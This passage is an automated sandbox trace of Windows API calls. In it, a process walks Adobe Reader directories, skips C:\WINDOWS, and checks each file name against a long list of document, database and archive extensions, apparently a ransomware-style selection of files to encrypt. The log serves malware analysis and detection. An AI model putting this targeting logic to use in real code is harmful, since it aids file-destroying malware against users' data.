(lpString1=".asa", lpString2="s.js") returned -1 [0266.583] lstrlenW (lpString=".asc") returned 4 [0266.583] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0266.583] lstrlenW (lpString=".ascx") returned 5 [0266.584] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0266.608] lstrlenW (lpString=".asm") returned 4 [0266.608] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0266.608] lstrlenW (lpString=".asmx") returned 5 [0266.608] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0266.608] lstrlenW (lpString=".asp") returned 4 [0266.608] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0266.608] lstrlenW (lpString=".aspx") returned 5 [0266.608] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0266.609] lstrlenW (lpString=".asr") returned 4 [0266.609] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0266.609] lstrlenW (lpString=".asx") returned 4 [0266.609] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0266.609] lstrlenW (lpString=".avi") returned 4 [0266.609] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0266.609] lstrlenW (lpString=".avs") returned 4 [0266.609] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0266.609] lstrlenW (lpString=".backup") returned 7 [0266.609] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0266.609] lstrlenW (lpString=".bak") returned 4 [0266.609] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0266.609] lstrlenW (lpString=".bay") returned 4 [0266.609] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0266.609] lstrlenW (lpString=".bd") returned 3 [0266.609] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0266.609] lstrlenW (lpString=".bin") returned 4 [0266.609] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0266.609] lstrlenW (lpString=".bmp") returned 4 [0266.609] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0266.609] lstrlenW (lpString=".bz2") returned 4 [0266.609] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0266.609] lstrlenW (lpString=".c") returned 2 [0266.609] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0266.609] lstrlenW (lpString=".cdr") returned 4 [0266.609] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0266.610] lstrlenW (lpString=".cer") returned 4 [0266.610] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0266.610] lstrlenW (lpString=".cf") returned 3 [0266.610] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0266.610] lstrlenW (lpString=".cfc") returned 4 [0266.610] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0266.610] lstrlenW (lpString=".cfm") returned 4 [0266.610] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0266.610] lstrlenW (lpString=".cfml") returned 5 [0266.610] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0266.610] lstrlenW (lpString=".cfu") returned 4 [0266.610] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0266.610] lstrlenW (lpString=".chm") returned 4 [0266.610] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0266.610] lstrlenW (lpString=".cin") returned 4 [0266.610] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0266.610] lstrlenW (lpString=".class") returned 6 [0266.610] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0266.611] lstrlenW (lpString=".clx") returned 4 [0266.611] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0266.611] lstrlenW (lpString=".config") returned 7 [0266.611] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0266.611] lstrlenW (lpString=".cpp") returned 4 [0266.611] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0266.611] lstrlenW (lpString=".cr2") returned 4 [0266.611] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0266.611] lstrlenW (lpString=".crt") returned 4 [0266.611] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0266.611] lstrlenW (lpString=".crw") returned 4 [0266.611] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0266.611] lstrlenW (lpString=".cs") returned 3 [0266.611] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0266.612] lstrlenW (lpString=".css") returned 4 [0266.612] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0266.612] lstrlenW (lpString=".csv") returned 4 [0266.612] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0266.612] lstrlenW (lpString=".cub") returned 4 [0266.612] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0266.612] lstrlenW (lpString=".dae") returned 4 [0266.612] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0266.612] lstrlenW (lpString=".dat") returned 4 [0266.612] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0266.612] lstrlenW (lpString=".db") returned 3 [0266.612] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0266.612] lstrlenW (lpString=".dbf") returned 4 [0266.612] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0266.612] lstrlenW (lpString=".dbx") returned 4 [0266.612] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0266.612] lstrlenW (lpString=".dc3") returned 4 [0266.612] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0266.613] lstrlenW (lpString=".dcm") returned 4 [0266.613] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0266.613] lstrlenW (lpString=".dcr") returned 4 [0266.613] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0266.613] lstrlenW (lpString=".der") returned 4 [0266.613] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0266.613] lstrlenW (lpString=".dib") returned 4 [0266.613] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0266.613] lstrlenW (lpString=".dic") returned 4 [0266.613] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0266.613] lstrlenW (lpString=".dif") returned 4 [0266.613] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0266.613] lstrlenW (lpString=".divx") returned 5 [0266.613] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0266.613] lstrlenW (lpString=".djvu") returned 5 [0266.613] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0266.613] lstrlenW (lpString=".dng") returned 4 [0266.613] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0266.613] lstrlenW (lpString=".doc") returned 4 [0266.613] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0266.613] lstrlenW (lpString=".docm") returned 5 [0266.613] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0266.613] lstrlenW (lpString=".docx") returned 5 [0266.614] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0266.614] lstrlenW (lpString=".dot") returned 4 [0266.614] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0266.614] lstrlenW (lpString=".dotm") returned 5 [0266.614] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0266.614] lstrlenW (lpString=".dotx") returned 5 [0266.614] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0266.614] lstrlenW (lpString=".dpx") returned 4 [0266.614] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0266.614] lstrlenW (lpString=".dqy") returned 4 [0266.614] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0266.614] lstrlenW (lpString=".dsn") returned 4 [0266.614] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0266.614] lstrlenW (lpString=".dt") returned 3 [0266.614] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0266.614] lstrlenW (lpString=".dtd") returned 4 [0266.614] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0266.614] lstrlenW (lpString=".dwg") returned 4 [0266.614] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0266.614] lstrlenW (lpString=".dwt") returned 4 [0266.614] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0266.614] lstrlenW (lpString=".dx") returned 3 [0266.614] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0266.615] lstrlenW (lpString=".dxf") returned 4 [0266.615] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0266.615] lstrlenW (lpString=".edml") returned 5 [0266.615] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0266.615] lstrlenW (lpString=".efd") returned 4 [0266.615] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0266.615] lstrlenW (lpString=".elf") returned 4 [0266.615] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0266.615] lstrlenW (lpString=".emf") returned 4 [0266.615] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0266.615] lstrlenW (lpString=".emz") returned 4 [0266.615] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0266.615] lstrlenW (lpString=".epf") returned 4 [0266.615] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0266.615] lstrlenW (lpString=".eps") returned 4 [0266.615] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0266.616] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2084, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.616] FindClose (in: hFindFile=0x33155b0 | out: hFindFile=0x33155b0) returned 1 [0266.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0266.616] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1 [0266.616] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\he-il") returned 106 [0266.616] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\he-il") returned 1 [0266.616] lstrlenW (lpString="he-il") returned 5 [0266.616] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="he-il") returned -1 [0266.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0266.616] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\he-il") returned 106 [0266.616] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\he-il\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33159b0 [0266.617] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.617] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0266.617] FindClose (in: hFindFile=0x33159b0 | out: hFindFile=0x33159b0) returned 1 [0266.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0266.617] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0266.617] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr") returned 106 [0266.617] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr") returned 1 [0266.617] lstrlenW (lpString="hr-hr") returned 5 [0266.617] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="hr-hr") returned -1 [0266.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0266.617] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr") returned 106 [0266.617] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33158f0 [0266.618] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.618] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f33, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.618] lstrlenW (lpString="ui-strings.js") returned 13 [0266.618] lstrlenW (lpString=".1cd") returned 4 [0266.618] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0266.618] lstrlenW (lpString=".3ds") returned 4 [0266.618] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0266.618] lstrlenW (lpString=".3fr") returned 4 [0266.618] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0266.618] lstrlenW (lpString=".3g2") returned 4 [0266.618] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0266.618] lstrlenW (lpString=".3gp") returned 4 [0266.618] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0266.619] lstrlenW (lpString=".7z") returned 3 [0266.619] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0266.619] lstrlenW (lpString=".accda") returned 6 [0266.619] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0266.619] lstrlenW (lpString=".accdb") returned 6 [0266.619] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0266.619] lstrlenW (lpString=".accdc") returned 6 [0266.619] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0266.619] lstrlenW (lpString=".accde") returned 6 [0266.619] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0266.619] lstrlenW (lpString=".accdt") returned 6 [0266.619] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0266.619] lstrlenW (lpString=".accdw") returned 6 [0266.619] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0266.619] lstrlenW (lpString=".adb") returned 4 [0266.619] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0266.619] lstrlenW (lpString=".adp") returned 4 [0266.619] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0266.619] lstrlenW (lpString=".ai") returned 3 [0266.619] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0266.619] lstrlenW (lpString=".ai3") returned 4 [0266.619] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0266.619] lstrlenW (lpString=".ai4") returned 4 [0266.620] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0266.620] lstrlenW (lpString=".ai5") returned 4 [0266.620] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0266.620] lstrlenW (lpString=".ai6") returned 4 [0266.620] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0266.620] lstrlenW (lpString=".ai7") returned 4 [0266.620] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0266.620] lstrlenW (lpString=".ai8") returned 4 [0266.620] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0266.620] lstrlenW (lpString=".anim") returned 5 [0266.620] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0266.620] lstrlenW (lpString=".arw") returned 4 [0266.620] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0266.620] lstrlenW (lpString=".as") returned 3 [0266.620] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0266.620] lstrlenW (lpString=".asa") returned 4 [0266.620] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0266.620] lstrlenW (lpString=".asc") returned 4 [0266.621] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0266.621] lstrlenW (lpString=".ascx") returned 5 [0266.621] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0266.621] lstrlenW (lpString=".asm") returned 4 [0266.621] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0266.621] lstrlenW (lpString=".asmx") returned 5 [0266.621] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0266.621] lstrlenW (lpString=".asp") returned 4 [0266.621] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0266.621] lstrlenW (lpString=".aspx") returned 5 [0266.621] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0266.621] lstrlenW (lpString=".asr") returned 4 [0266.621] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0266.621] lstrlenW (lpString=".asx") returned 4 [0266.621] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0266.621] lstrlenW (lpString=".avi") returned 4 [0266.621] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0266.621] lstrlenW (lpString=".avs") returned 4 [0266.621] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0266.621] lstrlenW (lpString=".backup") returned 7 [0266.621] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0266.621] lstrlenW (lpString=".bak") returned 4 [0266.621] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0266.622] lstrlenW (lpString=".bay") returned 4 [0266.622] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0266.622] lstrlenW (lpString=".bd") returned 3 [0266.622] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0266.622] lstrlenW (lpString=".bin") returned 4 [0266.622] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0266.622] lstrlenW (lpString=".bmp") returned 4 [0266.622] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0266.622] lstrlenW (lpString=".bz2") returned 4 [0266.622] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0266.622] lstrlenW (lpString=".c") returned 2 [0266.622] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0266.622] lstrlenW (lpString=".cdr") returned 4 [0266.622] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0266.622] lstrlenW (lpString=".cer") returned 4 [0266.622] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0266.622] lstrlenW (lpString=".cf") returned 3 [0266.622] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0266.622] lstrlenW (lpString=".cfc") returned 4 [0266.622] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0266.622] lstrlenW (lpString=".cfm") returned 4 [0266.622] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0266.622] lstrlenW (lpString=".cfml") returned 5 [0266.622] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0266.623] lstrlenW (lpString=".cfu") returned 4 [0266.623] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0266.623] lstrlenW (lpString=".chm") returned 4 [0266.623] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0266.623] lstrlenW (lpString=".cin") returned 4 [0266.623] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0266.623] lstrlenW (lpString=".class") returned 6 [0266.623] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0266.623] lstrlenW (lpString=".clx") returned 4 [0266.623] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0266.623] lstrlenW (lpString=".config") returned 7 [0266.623] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0266.623] lstrlenW (lpString=".cpp") returned 4 [0266.623] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0266.623] lstrlenW (lpString=".cr2") returned 4 [0266.623] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0266.623] lstrlenW (lpString=".crt") returned 4 [0266.623] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0266.623] lstrlenW (lpString=".crw") returned 4 [0266.623] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0266.623] lstrlenW (lpString=".cs") returned 3 [0266.623] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0266.624] lstrlenW (lpString=".css") returned 4 [0266.624] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0266.624] lstrlenW (lpString=".csv") returned 4 [0266.624] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0266.624] lstrlenW (lpString=".cub") returned 4 [0266.624] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0266.624] lstrlenW (lpString=".dae") returned 4 [0266.624] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0266.624] lstrlenW (lpString=".dat") returned 4 [0266.624] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0266.624] lstrlenW (lpString=".db") returned 3 [0266.624] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0266.624] lstrlenW (lpString=".dbf") returned 4 [0266.624] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0266.624] lstrlenW (lpString=".dbx") returned 4 [0266.624] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0266.624] lstrlenW (lpString=".dc3") returned 4 [0266.624] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0266.624] lstrlenW (lpString=".dcm") returned 4 [0266.624] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0266.624] lstrlenW (lpString=".dcr") returned 4 [0266.624] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0266.624] lstrlenW (lpString=".der") returned 4 [0266.624] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0266.625] lstrlenW (lpString=".dib") returned 4 [0266.625] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0266.625] lstrlenW (lpString=".dic") returned 4 [0266.625] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0266.625] lstrlenW (lpString=".dif") returned 4 [0266.625] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0266.625] lstrlenW (lpString=".divx") returned 5 [0266.625] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0266.625] lstrlenW (lpString=".djvu") returned 5 [0266.625] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0266.625] lstrlenW (lpString=".dng") returned 4 [0266.625] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0266.625] lstrlenW (lpString=".doc") returned 4 [0266.625] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0266.625] lstrlenW (lpString=".docm") returned 5 [0266.625] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0266.625] lstrlenW (lpString=".docx") returned 5 [0266.625] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0266.625] lstrlenW (lpString=".dot") returned 4 [0266.625] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0266.625] lstrlenW (lpString=".dotm") returned 5 [0266.625] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0266.625] lstrlenW (lpString=".dotx") returned 5 [0266.625] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0266.626] lstrlenW (lpString=".dpx") returned 4 [0266.626] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0266.626] lstrlenW (lpString=".dqy") returned 4 [0266.626] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0266.626] lstrlenW (lpString=".dsn") returned 4 [0266.626] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0266.626] lstrlenW (lpString=".dt") returned 3 [0266.626] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0266.626] lstrlenW (lpString=".dtd") returned 4 [0266.626] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0266.626] lstrlenW (lpString=".dwg") returned 4 [0266.626] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0266.626] lstrlenW (lpString=".dwt") returned 4 [0266.626] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0266.626] lstrlenW (lpString=".dx") returned 3 [0266.626] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0266.626] lstrlenW (lpString=".dxf") returned 4 [0266.626] lstrcmpiW 